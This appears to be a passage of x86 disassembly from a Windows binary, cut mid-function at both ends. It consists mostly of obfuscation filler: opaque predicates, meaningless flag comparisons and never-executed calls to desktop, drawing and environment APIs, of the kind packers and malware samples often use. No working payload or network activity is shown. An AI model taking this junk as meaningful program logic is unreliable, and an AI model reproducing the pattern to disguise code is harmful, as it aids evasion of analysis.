jge 0x47c059
mov eax, dword [ebp - 0x954]
mov dword [ebp + eax*4 - 0x2e80], 0x9c3f9080
jmp 0x47c030
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x47c088
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcc4]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0
je 0x47c088
mov dword [ebp - 0x1f2c], 1
jmp 0x47c08f
and dword [ebp - 0x1f2c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0xc4c]
cmp dword [ebp - 0x1f2c], eax
jg 0x47c0ac
mov dword [ebp - 0x103c], 1
jmp 0x47c0b3
and dword [ebp - 0x103c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x103c], eax
je 0x47c0cd
mov dword [ebp - 0x27c0], 1
jmp 0x47c0d4
and dword [ebp - 0x27c0], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0xd4], eax
jge 0x47c0ee
mov dword [ebp - 0x1f34], 1
jmp 0x47c0f5
and dword [ebp - 0x1f34], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x1f34], eax
je 0x47c10f
mov dword [ebp - 0x1044], 1
jmp 0x47c116
and dword [ebp - 0x1044], 0
mov eax, dword [ebp - 0xc4c]
cmp dword [ebp - 0x1044], eax
jge 0x47c136
mov eax, 0x6044
test eax, eax
jne 0x47c136
and dword [ebp - 0x1f3c], 0
jmp 0x47c140
mov dword [ebp - 0x1f3c], 1
mov eax, dword [ebp - 0x5f8]
add eax, dword [ebp - 0x1f3c]
je 0x47c163
cmp dword [ebp - 0xd4], 0
je 0x47c163
mov dword [ebp - 0x104c], 1
jmp 0x47c16a
and dword [ebp - 0x104c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x104c], eax
jle 0x47c191
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcc4], 0
jne 0x47c191
and dword [ebp - 0x1f44], 0
jmp 0x47c19b
mov dword [ebp - 0x1f44], 1
mov eax, dword [ebp - 0x1f44]
mov dword [ebp - 0x1054], eax
cmp dword [ebp - 0x1054], 0xffffffff
je 0x47c1bc
mov dword [ebp - 0x1f4c], 1
jmp 0x47c1c3
and dword [ebp - 0x1f4c], 0
mov eax, dword [ebp - 0x1f4c]
neg eax
cmp eax, dword [ebp - 0xc4c]
jl 0x47c1df
mov dword [ebp - 0x105c], 1
jmp 0x47c1e6
and dword [ebp - 0x105c], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x105c], eax
jl 0x47c200
mov dword [ebp - 0x1f54], 1
jmp 0x47c207
and dword [ebp - 0x1f54], 0
mov eax, dword [ebp - 0x1f54]
mov dword [ebp - 0x1064], eax
cmp dword [ebp - 0x1064], 0xe53e
jne 0x47c22b
mov dword [ebp - 0x1f5c], 1
jmp 0x47c232
and dword [ebp - 0x1f5c], 0
mov eax, dword [ebp - 0x1f5c]
mov dword [ebp - 0x13c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13c]
mov dword [ebp + eax - 0x2e80], ecx
jmp 0x47c000
mov dword [ebp - 0x13c], 0
jmp 0x47c26f
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jg 0x47c32c
mov byte [ebp - 0x347], 0
movzx eax, byte [ebp - 0x347]
test eax, eax
je 0x47c2dd
push 0x1ea4
push 0x17e0
push 0x1a8e
push 0x57c
push 0xd53
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x936
push 0x1a1b
push 0x1fd5
push 0x2462
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
mov dword [ebp - 0x5f8], 0
jmp 0x47c2f6
mov eax, dword [ebp - 0x5f8]
dec eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0
jl 0x47c327
mov byte [ebp - 0x371], 0
movzx eax, byte [ebp - 0x371]
test eax, eax
je 0x47c325
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
jmp 0x47c2e9
jmp 0x47c262
jmp 0x47bfa7
mov dword [ebp - 0x4e8], 0xd
jmp 0x47c34a
mov eax, dword [ebp - 0x4e8]
dec eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0xffffffe6
jg 0x47c3c3
mov dword [ebp - 0x27d0], 0
mov dword [ebp - 0x13c], 0x15
jmp 0x47c376
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffe3
jne 0x47c3be
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x27c8], 0
je 0x47c39c
cmp dword [ebp - 0x27d0], 0
je 0x47c39a
jmp 0x47c3be
jmp 0x47c3bc
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x47c3bc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x47c369
jmp 0x47c33d
mov dword [ebp - 0xc24], 0x3af7
mov dword [ebp - 0x698], 0xf37831e4
mov dword [ebp - 0x2db4], 0x580d416d
mov dword [ebp - 0x2dbc], 0
mov dword [ebp - 0x2dc4], 0x5131d8b9
mov dword [ebp - 0x2dcc], 0x9ebf495e
mov dword [ebp - 0x2dd4], 0x29f58382
mov dword [ebp - 0x2ddc], 0xa2b82c44
mov dword [ebp - 0x2de4], 0x20f746e3
mov dword [ebp - 0x106c], 0xffffffff
mov dword [ebp - 0x194], 0
jmp 0x47c440
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 1
jge 0x47c45c
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x2dec], 0xcf5720e8
jmp 0x47c433
mov dword [ebp - 0x194], 0
jmp 0x47c475
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
jge 0x47c491
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x36f8], 1
jmp 0x47c468
mov byte [ebp - 0x3f9], 0
movzx eax, byte [ebp - 0x3f9]
test eax, eax
je 0x47c4ab
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x698], 0
jmp 0x47c4c4
mov eax, dword [ebp - 0x698]
dec eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 0
jl 0x47c63c
mov dword [ebp - 0x6a0], 0xffffffff
mov dword [ebp - 0x2df4], 0x23fa3a92
mov dword [ebp - 0x2dfc], 1
mov dword [ebp - 0x2e04], 0xe0752570
mov dword [ebp - 0x2e0c], 1
mov dword [ebp - 0x95c], 0
jmp 0x47c51c
mov eax, dword [ebp - 0x95c]
inc eax
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 3
jge 0x47c538
mov eax, dword [ebp - 0x95c]
mov dword [ebp + eax*4 - 0x3834], 0xffffffff
jmp 0x47c50f
mov byte [ebp - 0x34b], 0
movzx eax, byte [ebp - 0x34b]
test eax, eax
je 0x47c563
push 1
push 0x169b
push 0x284
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
mov dword [ebp - 0x6a0], 0
jmp 0x47c57c
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0
jg 0x47c637
mov dword [ebp - 0x2e14], 1
mov dword [ebp - 0x307c], 7
mov dword [ebp - 0x3084], 0x99a5671
mov dword [ebp - 0x308c], 0x859bb7a1
mov dword [ebp - 0x3094], 0x223b16aa
mov dword [ebp - 0x280], 0
jmp 0x47c5d4
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 4
jge 0x47c5f0
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x391c], 0xda2ae7b7
jmp 0x47c5c7
mov dword [ebp - 0x280], 0
jmp 0x47c609
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 2
jge 0x47c625
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0x37e8], 0xb07fb07d
jmp 0x47c5fc
mov eax, dword [ebp - 0x106c]
inc eax
mov dword [ebp - 0x106c], eax
jmp 0x47c56f
jmp 0x47c4b7
mov dword [ebp - 0x9a4], 0xb622b607
mov dword [ebp - 0x438], 0xffffffff
mov dword [ebp - 0x1084], 0xffffffff
mov dword [ebp - 0x27e0], 0xb24adc9f
mov dword [ebp - 0x438], 0
jmp 0x47c67d
cmp dword [ebp - 0x438], 0x15
jl 0x47c83e
mov dword [ebp - 0x498], 5
mov dword [ebp - 0x1f7c], 5
mov dword [ebp - 0x964], 0
jmp 0x47c6b7
mov eax, dword [ebp - 0x964]
inc eax
mov dword [ebp - 0x964], eax
cmp dword [ebp - 0x964], 3
jge 0x47c6d3
mov eax, dword [ebp - 0x964]
mov dword [ebp + eax*4 - 0x3680], 0xbe3d0e72
jmp 0x47c6aa
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x309c], eax
mov eax, 0xc842f88d
test eax, eax
jne 0x47c6fa
mov eax, 0x753f3ac9
test eax, eax
jne 0x47c6fa
and dword [ebp - 0x27d8], 0
jmp 0x47c704
mov dword [ebp - 0x27d8], 1
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x30a4], eax
mov eax, dword [ebp - 0x498]
mov dword [ebp - 0x30ac], eax
mov eax, dword [ebp - 0x438]
inc eax
cmp eax, dword [ebp - 0x498]
jg 0x47c737
mov dword [ebp - 0x1f64], 1
jmp 0x47c73e
and dword [ebp - 0x1f64], 0
cmp dword [ebp - 0x1f64], 0xcd3b
jg 0x47c756
mov dword [ebp - 0x1074], 1
jmp 0x47c75d
and dword [ebp - 0x1074], 0
mov eax, dword [ebp - 0x498]
cmp eax, dword [ebp - 0x1074]
jle 0x47c777
mov dword [ebp - 0x1f6c], 1
jmp 0x47c77e
and dword [ebp - 0x1f6c], 0
mov eax, dword [ebp - 0x498]
add eax, dword [ebp - 0x1f6c]
cmp eax, dword [ebp - 0x498]
je 0x47c7a4
cmp dword [ebp - 0x1f7c], 0
jne 0x47c7a4
and dword [ebp - 0x107c], 0
jmp 0x47c7ae
mov dword [ebp - 0x107c], 1
mov eax, dword [ebp - 0x107c]
dec eax
cmp eax, 0x672a
jne 0x47c7c8
mov dword [ebp - 0x1f74], 1
jmp 0x47c7cf
and dword [ebp - 0x1f74], 0
mov eax, dword [ebp - 0x1f74]
mov dword [ebp - 0x1084], eax
mov eax, dword [ebp - 0x1084]
imul eax, dword [ebp - 0x1f7c]
sub eax, 6
jne 0x47c7f9
mov dword [ebp - 0x112c], 3
mov dword [ebp - 0x96c], 0xc7bf0b96
mov dword [ebp - 0x30b4], 0x1dba3399
mov dword [ebp - 0x108c], 0x4ab2
mov dword [ebp - 0x6a8], 0
jmp 0x47c87f
mov eax, dword [ebp - 0x6a8]
inc eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 3
jge 0x47c89b
mov eax, dword [ebp - 0x6a8]
mov dword [ebp + eax*4 - 0x38d0], 4
jmp 0x47c872
mov eax, dword [ebp - 0x108c]
inc eax
mov dword [ebp - 0x108c], eax
mov dword [ebp - 0x96c], 0xfffffff2
jmp 0x47c8c1
mov eax, dword [ebp - 0x96c]
inc eax
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0x18
jg 0x47c91e
mov dword [ebp - 0x27e8], 8
mov dword [ebp - 0x6b0], 0
jmp 0x47c8ed
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 2
jge 0x47c909
mov eax, dword [ebp - 0x6b0]
mov dword [ebp + eax*4 - 0x2e8c], 0
jmp 0x47c8e0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2e8c]
mov dword [ebp - 0x27e8], eax
jmp 0x47c8b4
mov dword [ebp - 0x30bc], 0x257a10dd
mov dword [ebp - 0xa38], 0x6773196e
mov dword [ebp - 0x19c], 0
jmp 0x47c94b
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x47c967
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0xb78], 0xfffffffb
jmp 0x47c93e
mov dword [ebp - 0x19c], 0
jmp 0x47c980
cmp dword [ebp - 0x19c], 3
jge 0x47c99c
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x384c], 1
jmp 0x47c973
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb78], 0
je 0x47ca4d
cmp dword [ebp + 8], 1
jne 0x491adb
mov dword [ebp - 0x9d8], 0xfffffffd
mov dword [ebp - 0x5c4], 0x6bc22736
mov dword [ebp - 0x28b0], 0xffffffff
mov dword [ebp - 0x28ac], 0xffffffff
mov dword [ebp - 0x28a8], 0xffffffff
mov dword [ebp - 0x28a4], 0xffffffff
mov dword [ebp - 0xae0], 0xb739032
mov dword [ebp - 0x7d4], 0x1743
mov dword [ebp - 0x28c4], 0xffff
mov dword [ebp - 0x28c0], 0xffff
mov dword [ebp - 0x28bc], 0xffff
mov dword [ebp - 0x28b8], 0xffff
mov dword [ebp - 0x24b0], 0x1d0942df
mov dword [ebp - 0x20c], 0
jmp 0x48447b
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 4
jge 0x484497
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x35cc], 0xfffffff9
jmp 0x48446e
mov dword [ebp - 0x20c], 0
jmp 0x4844b0
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 1
jge 0x4844cc
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x16a8], 0xbd907c4e
jmp 0x4844a3
cmp dword [ebp - 0x9d8], 0
je 0x4847e5
mov dword [ebp - 0x2690], 0xfffe
mov dword [ebp - 0x16b0], 0xfffffff7
mov dword [ebp - 0x33d4], 0x6128f3b8
mov dword [ebp - 0x2ac0], 7
mov dword [ebp - 0x2abc], 7
mov dword [ebp - 0x2ab8], 7
mov dword [ebp - 0x2ab4], 7
mov dword [ebp - 0x2824], 0x5417612d
mov dword [ebp - 0x21a0], 0x844b
mov dword [ebp - 0x7cc], 0
jmp 0x48454c
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 4
jge 0x484568
mov eax, dword [ebp - 0x7cc]
mov dword [ebp + eax*4 - 0x3528], 0xffffffff
jmp 0x48453f
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x2d58], eax
mov eax, dword [ebp - 0xae0]
mov ecx, dword [ebp - 0xae0]
dec ecx
mov dword [ebp - 0xae0], ecx
test eax, eax
je 0x484661
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x1f60], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1f60]
mov dword [ebp + eax - 0x3528], ecx
cmp dword [ebp - 0x1f60], 0
jne 0x4845c5
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3528], 0
je 0x4845ce
mov eax, 0x5ce
test eax, eax
jne 0x4845e6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3528], 0
jne 0x4845e6
and dword [ebp - 0x1688], 0
jmp 0x4845f0
mov dword [ebp - 0x1688], 1
mov eax, dword [ebp - 0x1688]
sub eax, dword [ebp - 0x21a0]
cmp eax, 0xf55f5dd
je 0x48460f
mov dword [ebp - 0x1c70], 1
jmp 0x484616
and dword [ebp - 0x1c70], 0
cmp dword [ebp - 0x1c70], 0x18177c4
jne 0x48464b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28b0], 0
jne 0x48464b
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x35cc], 0
jne 0x48464b
and dword [ebp - 0x1690], 0
jmp 0x484655
mov dword [ebp - 0x1690], 1
cmp dword [ebp - 0x1690], 0xe346
jg 0x484673
mov eax, 0x88ba54f9
test eax, eax
jne 0x484673
and dword [ebp - 0x2498], 0
jmp 0x48467d
mov dword [ebp - 0x2498], 1
mov eax, dword [ebp - 0x2690]
mov dword [ebp - 0x3200], eax
mov eax, dword [ebp - 0x21a0]
push 4
pop ecx
imul ecx, ecx, 3
imul eax, dword [ebp + ecx - 0x2ac0]
test eax, eax
jne 0x4846ad
mov dword [ebp - 0x1698], 1
jmp 0x4846b4
and dword [ebp - 0x1698], 0
cmp dword [ebp - 0x1698], 0xc2674d90
je 0x4846cc
mov dword [ebp - 0x1c78], 1
jmp 0x4846d3
and dword [ebp - 0x1c78], 0
cmp dword [ebp - 0x1c78], 0xa621
jge 0x4846eb
mov dword [ebp - 0x16a0], 1
jmp 0x4846f2
and dword [ebp - 0x16a0], 0
cmp dword [ebp - 0x16a0], 0x6fe0
jl 0x48470a
mov dword [ebp - 0x1f68], 1
jmp 0x484711
and dword [ebp - 0x1f68], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1f68]
mov dword [ebp + eax - 0x2ac0], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x28b0]
mov dword [ebp - 0x2d60], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x16a8]
mov dword [ebp - 0x3294], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x16a8]
add eax, 0x23d12eff
cmp eax, dword [ebp - 0x9d8]
jle 0x48476f
mov dword [ebp - 0x1c80], 1
jmp 0x484776
and dword [ebp - 0x1c80], 0
cmp dword [ebp - 0x1c80], 0xfffffff9
jl 0x48478b
mov dword [ebp - 0x24a0], 1
jmp 0x484792
and dword [ebp - 0x24a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28b0]
neg eax
mov dword [ebp - 0x16b0], eax
mov eax, dword [ebp - 0x16b0]
cmp dword [ebp - 0x9d8], eax
jle 0x4847c1
mov dword [ebp - 0x20e0], 1
jmp 0x4847c8
and dword [ebp - 0x20e0], 0
mov eax, dword [ebp - 0x20e0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x2824], eax
jmp 0x484aac
mov dword [ebp - 0x2b4], 0xf94b
mov dword [ebp - 0x1f78], 0x11ad519f
mov dword [ebp - 0x16f0], 1
mov eax, 0xbb4d
test eax, eax
je 0x484a99
cmp dword [ebp - 0x2b4], 0x9cd94668
jne 0x484828
mov dword [ebp - 0x16b8], 1
jmp 0x48482f
and dword [ebp - 0x16b8], 0
cmp dword [ebp - 0x16b8], 0x6f1a
jl 0x484847
mov dword [ebp - 0x24a8], 1
jmp 0x48484e
and dword [ebp - 0x24a8], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2d68], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x28c4], 0xe98e2cf0
je 0x484878
mov dword [ebp - 0x1c88], 1
jmp 0x48487f
and dword [ebp - 0x1c88], 0
mov eax, dword [ebp - 0x7d4]
cmp dword [ebp - 0x1c88], eax
jne 0x484899
mov dword [ebp - 0x16c0], 1
jmp 0x4848a0
and dword [ebp - 0x16c0], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x16c0], eax
jge 0x4848ba
mov dword [ebp - 0x1f70], 1
jmp 0x4848c1
and dword [ebp - 0x1f70], 0
mov eax, dword [ebp - 0x2b4]
add eax, dword [ebp - 0x1f70]
cmp eax, 1
je 0x4848de
mov dword [ebp - 0x16c8], 1
jmp 0x4848e5
and dword [ebp - 0x16c8], 0
cmp dword [ebp - 0x16c8], 8
je 0x4848fa
mov dword [ebp - 0x1c90], 1
jmp 0x484901
and dword [ebp - 0x1c90], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x1c90], eax
jge 0x48491b
mov dword [ebp - 0x16d0], 1
jmp 0x484922
and dword [ebp - 0x16d0], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x16d0], eax
jne 0x48493c
mov dword [ebp - 0x2224], 1
jmp 0x484943
and dword [ebp - 0x2224], 0
cmp dword [ebp - 0x2224], 0xfffe
jne 0x48495b
mov dword [ebp - 0x16d8], 1
jmp 0x484962
and dword [ebp - 0x16d8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16d8]
mov dword [ebp + eax - 0x35cc], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x28c4]
cmp dword [ebp - 0x5c4], eax
jl 0x484995
mov dword [ebp - 0x1c98], 1
jmp 0x48499c
and dword [ebp - 0x1c98], 0
mov eax, dword [ebp - 0x1c98]
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0
je 0x4849cd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28b0], 0
je 0x4849cd
mov dword [ebp - 0x2698], 1
jmp 0x4849d4
and dword [ebp - 0x2698], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x28c4]
mov dword [ebp - 0x3210], eax
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2d70], eax
mov eax, dword [ebp - 0x2b4]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x28c4]
jne 0x484a18
cmp dword [ebp - 0x7d4], 0
jne 0x484a18
and dword [ebp - 0x16e0], 0
jmp 0x484a22
mov dword [ebp - 0x16e0], 1
mov eax, dword [ebp - 0x16e0]
mov dword [ebp - 0x1f78], eax
mov eax, dword [ebp - 0x1f78]
add eax, 0x225c67d6
jne 0x484a4d
mov eax, 0xacb5
test eax, eax
jne 0x484a4d
and dword [ebp - 0x16e8], 0
jmp 0x484a57
mov dword [ebp - 0x16e8], 1
mov eax, dword [ebp - 0x7d4]
cmp dword [ebp - 0x16e8], eax
jle 0x484a71
mov dword [ebp - 0x1ca0], 1
jmp 0x484a78
and dword [ebp - 0x1ca0], 0
mov eax, dword [ebp - 0x1ca0]
mov dword [ebp - 0x16f0], eax
cmp dword [ebp - 0x16f0], 0
je 0x484a99
mov dword [ebp - 0x20e8], 1
jmp 0x484aa0
and dword [ebp - 0x20e8], 0
mov eax, dword [ebp - 0x20e8]
mov dword [ebp - 0x24b0], eax
mov dword [ebp - 0xae8], 0xfffffff6
mov dword [ebp - 0xc44], 0x82d83d78
mov dword [ebp - 0x1cb0], 0x3ec93cc2
mov dword [ebp - 0x26c], 0
jmp 0x484ae3
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 2
jge 0x484aff
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x2ac8], 6
jmp 0x484ad6
mov dword [ebp - 0x26c], 0
jmp 0x484b18
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 3
jge 0x484b34
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x2ae4], 3
jmp 0x484b0b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ac8]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0xc44]
mov dword [ebp - 0x27a4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ae4]
mov dword [ebp - 0x24b8], eax
mov eax, dword [ebp - 0xc44]
dec eax
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0x27a4]
cmp eax, dword [ebp - 0x24b8]
jg 0x484b8d
mov dword [ebp - 0x1700], 1
jmp 0x484b94
and dword [ebp - 0x1700], 0
mov eax, 0x5969a22d
test eax, eax
je 0x484bb7
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2ac8]
cmp dword [ebp + eax - 0x2ae4], ecx
mov eax, dword [ebp - 0x1cb0]
sub eax, 6
cmp eax, 0xd5467356
jne 0x484bd3
mov dword [ebp - 0x16f8], 1
jmp 0x484bda
and dword [ebp - 0x16f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2ae4]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0xae8]
cmp eax, dword [ebp - 0x16f8]
jg 0x484c07
mov dword [ebp - 0x1ca8], 1
jmp 0x484c0e
and dword [ebp - 0x1ca8], 0
cmp dword [ebp - 0x1ca8], 0xb3493876
ja 0x484c26
mov dword [ebp - 0x1f80], 1
jmp 0x484c2d
and dword [ebp - 0x1f80], 0
mov eax, dword [ebp - 0x1700]
cmp eax, dword [ebp - 0x1f80]
jle 0x484c47
mov dword [ebp - 0x1708], 1
jmp 0x484c4e
and dword [ebp - 0x1708], 0
mov eax, dword [ebp - 0x1708]
mov dword [ebp - 0x1cb0], eax
mov dword [ebp - 0xe4], 0x834504cd
mov dword [ebp - 0x1710], 0xd6db
mov dword [ebp - 0x3298], 0x5e2138b3
mov dword [ebp - 0x2d78], 0xfffffff6
mov dword [ebp - 0x3220], 0xfffffff8
mov dword [ebp - 0x2d80], 0xa2fc53d
mov dword [ebp - 0x32a0], 0xe93046aa
mov dword [ebp - 0x2d88], 0x25452e2c
mov dword [ebp - 0x3230], 0x997b
mov dword [ebp - 0x214], 0
jmp 0x484ccd
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 4
jge 0x484ce9
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x35ac], 0xa473
jmp 0x484cc0
mov dword [ebp - 0x214], 0
jmp 0x484d02
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x484d1e
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x2d90], 0x314648a5
jmp 0x484cf5
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe4], 3
jmp 0x484d43
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jl 0x484fe2
mov dword [ebp - 0x57c], 7
mov dword [ebp - 0x26a0], 0x3d62a04f
mov dword [ebp - 0x24c8], 0x6c56d20a
mov dword [ebp - 0x32a8], 1
mov dword [ebp - 0x2d98], 1
mov dword [ebp - 0x3240], 0xecaa7054
mov dword [ebp - 0x2da0], 0x8d11e8e1
mov dword [ebp - 0x1cc0], 1
mov dword [ebp - 0x8e0], 0
jmp 0x484db9
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 1
jge 0x484dd5
mov eax, dword [ebp - 0x8e0]
mov dword [ebp + eax*4 - 0x32b0], 0x133ecb40
jmp 0x484dac
mov dword [ebp - 0x57c], 3
jmp 0x484dee
mov eax, dword [ebp - 0x57c]
dec eax
mov dword [ebp - 0x57c], eax
cmp dword [ebp - 0x57c], 0
jl 0x484fd0
mov dword [ebp - 0x2b8], 0xce456251
mov dword [ebp - 0x1cb8], 0xacdd711a
mov byte [ebp - 0x340], 0
movzx eax, byte [ebp - 0x340]
test eax, eax
je 0x484e41
push 0x526
push 0x13d7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 0x2b8], 3
jmp 0x484e5a
mov eax, dword [ebp - 0x2b8]
dec eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0
jl 0x484fcb
mov byte [ebp - 0x342], 0
movzx eax, byte [ebp - 0x342]
test eax, eax
je 0x484e7f
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov eax, dword [ebp - 0x1710]
mov dword [ebp - 0x2da8], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x3250], eax
cmp dword [ebp - 0x1710], 0
jne 0x484eb2
cmp dword [ebp - 0x26a0], 0
jne 0x484eb2
and dword [ebp - 0x21ac], 0
jmp 0x484ebc
mov dword [ebp - 0x21ac], 1
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp + eax*4 - 0x35ac]
cmp dword [ebp - 0x21ac], eax
jg 0x484edd
mov dword [ebp - 0x1718], 1
jmp 0x484ee4
and dword [ebp - 0x1718], 0
mov eax, dword [ebp - 0x2b8]
add eax, dword [ebp - 0x1718]
cmp eax, 1
jl 0x484f01
mov dword [ebp - 0x24c0], 1
jmp 0x484f08
and dword [ebp - 0x24c0], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x2db0], eax
mov eax, 0x3004
cmp eax, 2
jne 0x484f2a
mov dword [ebp - 0x2864], 1
jmp 0x484f31
and dword [ebp - 0x2864], 0
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x32b8], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x1cb8], eax
mov eax, dword [ebp - 0x1cb8]
sub eax, dword [ebp - 0x2b8]
mov ecx, dword [ebp - 0xe4]
